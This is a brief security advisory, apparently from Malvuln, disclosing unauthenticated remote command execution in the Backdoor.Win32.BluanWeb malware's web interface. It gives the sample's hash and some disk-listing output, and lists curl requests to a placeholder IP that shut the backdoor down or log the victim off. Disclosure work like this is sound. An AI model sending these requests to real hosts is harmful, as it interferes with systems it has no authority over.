Backdoor.Win32.BluanWeb / Unauthenticated Remote Command Execution

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Backdoor.Win32.BluanWeb / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML page with links to delete, logoff or exit the system. Third-party attackers who can reach an infected host can make HTTP GET request to execute commands made available by the backdoor.

 3625.000000 MB
 3284.000000 MB

[Fixed Disk C]
Volume label name
Filename length  255
File system  NTFS
Disk size  3625.000000 MB
Free space  3284.000000 MB
[Disc D]

Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0506
Disclosure: 03/03/2022

1) delete any file

2) DOS backdoor
curl http://x.x.x.x/exit

3) sign out the victim machine
curl http://x.x.x.x/logoff

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